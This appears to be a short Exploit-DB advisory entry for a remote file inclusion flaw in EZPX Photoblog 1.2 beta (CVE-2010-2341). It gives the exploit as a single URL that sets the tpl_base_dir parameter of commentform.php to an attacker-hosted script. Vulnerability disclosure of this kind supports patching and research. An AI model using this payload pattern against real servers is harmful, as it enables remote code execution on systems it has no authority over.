EZPX Photoblog 1.2 beta Remote File Inclusion Exploit

EDB-ID: 13890 CVE: 2010-2341 OSVDB-ID: 65646
Verified: Author: sh00t0ut Published: 2010-06-16
Download Exploit: Source Raw Download Vulnerable App:
[~] EZPX photoblog 1.2 beta Remote Include Exploit
[~] Vendor Url: http://ezpx.org/
[~] Found by sh00t0ut
[~] Expl: http://[victim]/system/application/views/public/commentform.php?tpl_base_dir=[evil script]